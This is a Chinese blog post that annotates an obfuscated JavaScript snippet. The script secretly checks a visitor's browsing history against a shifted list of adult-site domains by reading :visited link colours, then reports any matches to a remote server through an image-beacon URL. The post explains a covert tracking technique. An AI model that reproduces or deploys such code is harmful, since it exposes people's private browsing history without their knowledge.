悄悄用脚本检查你访问过哪些网站的代码


Posted in Javascript onDecember 04, 2010

打开它的“页面源文件”,你能找到一段加密过的JS脚本:

function ypol(){ 
//K是一个对象,实际上是一个数组。存了一堆加密过的pr*n站链接。 
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"}; 
var g=[]; 
for(var m in k){ 
var d=k[m]; //遍历k中的元素赋值给d 
var a=""; 
for(var f=0;f<d.length;f++){ 
a+=String.fromCharCode(d.charCodeAt(f)-1); 
}/* 这里把d中的每一条字符都还原了。 
* charCodeAt(char) 函数返回char的ascii码 
* String.fromCharCode(asccii) 返回ascii码对应的字符 
* 然后把结果赋值给a 
* 比如第一次循环,a的值就是 qpsoivc/dpn -> pornhub.com 
*/ 
var h=false; 
/* 
* 这个循环创建A对象并让链接赋值为 http://a/ 和 http://www.a/ 
* 为什么要循环来2次,目的是为了准确性 
* 访问 http://example.com/ 和 http://www.example.com/ 对于浏览器来说,是不同的域名 
* 所以要区别对待 
*/ 
for(var j in {"http://":"","http://www.":""}){ 
var l=document.createElement("a"); //创建一个A对象 
l.href=j+a; 
document.getElementById("ol").appendChild(l); 
// A对象附加给一个id为ol的元素上,要附加在一个在DOM树上的元素,浏览器才会render这个元素,并设置合适的CSS 
var e=""; 
if(navigator.appName.indexOf("Microsoft")!=-1){ 
e=l.currentStyle.color; //取IE中A对象的颜色 
}else { 
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color"); 
//取其他标准浏览器的颜色 
} 
if(e=="#0c2238"||e=="#0c2238"){ 
/* 
* 如果是紫色,就表示访问过此站点。 
* 浏览器默认给访问过的链接标记为紫色 
* a:visited{color: #123456} 
*/ 
h=true; 
} 
} 
if(h){ //如果访问过,把站点加入列表g 
g.push(m); 
} 
} 
var b=(g instanceof Array)?g.join(","):""; //把g由数组变成字符串 
var c=document.createElement("img"); //建立一个img对象 
c.src="http://ol.youporn.com/blank.gif?id="+b; //img的src指向自家服务器上的一幅图像,关键是附带上了g数组的值 
document.getElementById("ol").appendChild(c); //加入DOM树,理由跟前面的A一样 
/* 
* 以一次图片访问,在web-server
Javascript 相关文章推荐
阻止子元素继承父元素事件具体思路及实现
May 02 Javascript
javascript在当前窗口关闭前检测窗口是否关闭
Sep 29 Javascript
jQuery插件zoom实现图片全屏放大弹出层特效
Apr 15 Javascript
原生javascript实现的一个简单动画效果
Mar 30 Javascript
Javascript将字符串日期格式化为yyyy-mm-dd的方法
Oct 27 Javascript
Windows下Node.js安装及环境配置方法
Sep 18 Javascript
浅谈Vue SSR 的 Cookies 问题
Nov 20 Javascript
layer弹出的iframe层在执行完毕后关闭当前弹出层的方法
Aug 17 Javascript
jquery+php后台实现省市区联动功能示例
May 23 jQuery
vue实现滑动超出指定距离回顶部功能
Jul 31 Javascript
js实现星星打分效果
Jul 05 Javascript
vue+node 实现视频在线播放的实例代码
Oct 19 Javascript
jQuery)扩展jQuery系列之一 模拟alert,confirm(一)
Dec 04 #Javascript
高效的表格行背景隔行变色及选定高亮的JS代码
Dec 04 #Javascript
javascript innerHTML使用分析
Dec 03 #Javascript
统计出现最多的字符次数的js代码
Dec 03 #Javascript
解决jquery的.animate()函数在IE6下的问题
Dec 03 #Javascript
基于jQuery的左右滚动实现代码
Dec 03 #Javascript
基于jquery的finkyUI插件与Ajax实现页面数据加载功能
Dec 03 #Javascript
You might like
基于PHP+Ajax实现表单验证的详解
2013/06/25 PHP
php 启动时报错的简单解决方法
2014/01/27 PHP
深入剖析浏览器退出之后php还会继续执行么
2016/05/17 PHP
PHP错误处理函数register_shutdown_function使用示例
2017/07/03 PHP
使用Jquery Aajx访问WCF服务(GET、POST、PUT、DELETE)
2012/03/16 Javascript
使用js显示当前时间示例
2014/03/02 Javascript
流量统计器如何鉴别C#:WebBrowser中伪造referer
2015/01/07 Javascript
javascript中if和switch,==和===详解
2015/07/30 Javascript
jQuery实现折叠、展开的菜单组效果代码
2015/09/16 Javascript
jquery判断复选框是否被选中的方法
2015/10/16 Javascript
浅析JavaScript中浏览器的兼容问题
2016/04/19 Javascript
jQuery实现的鼠标经过时变宽的效果(附demo源码)
2016/04/28 Javascript
深入分析javascript中的错误处理机制
2016/07/17 Javascript
JS控制HTML元素的显示和隐藏的两种方法
2016/09/27 Javascript
jQuery焦点图轮播效果实现方法
2016/12/19 Javascript
聊聊JavaScript如何实现继承及特点
2017/04/07 Javascript
vue监听滚动事件实现滚动监听
2017/04/11 Javascript
基于JavaScript实现的插入排序算法分析
2017/04/14 Javascript
DataTables添加额外的查询参数和删除columns等无用参数实例
2017/07/04 Javascript
深入浅出了解Node.js Streams
2019/05/27 Javascript
vue中更改数组中属性,在页面中不生效的解决方法
2019/10/30 Javascript
js实现简单进度条效果
2020/03/25 Javascript
ant design vue中表格指定格式渲染方式
2020/10/28 Javascript
Python 使用SMTP发送邮件的代码小结
2016/09/21 Python
Python创建xml文件示例
2017/03/22 Python
python批量查询、汉字去重处理CSV文件
2018/05/31 Python
pandas删除指定行详解
2019/04/04 Python
解决Python3 抓取微信账单信息问题
2019/07/19 Python
python绘制BA无标度网络示例代码
2019/11/21 Python
Python计算不规则图形面积算法实现解析
2019/11/22 Python
使用Python项目生成所有依赖包的清单方式
2020/07/13 Python
意大利在线药房:Farmacia Loreto Gallo
2019/08/09 全球购物
传媒专业推荐信范文
2013/11/23 职场文书
银行门卫岗位职责
2013/12/29 职场文书
学习党的群众路线剖析材料
2014/10/09 职场文书
spring cloud 配置中心客户端启动遇到的问题
2021/09/25 Java/Android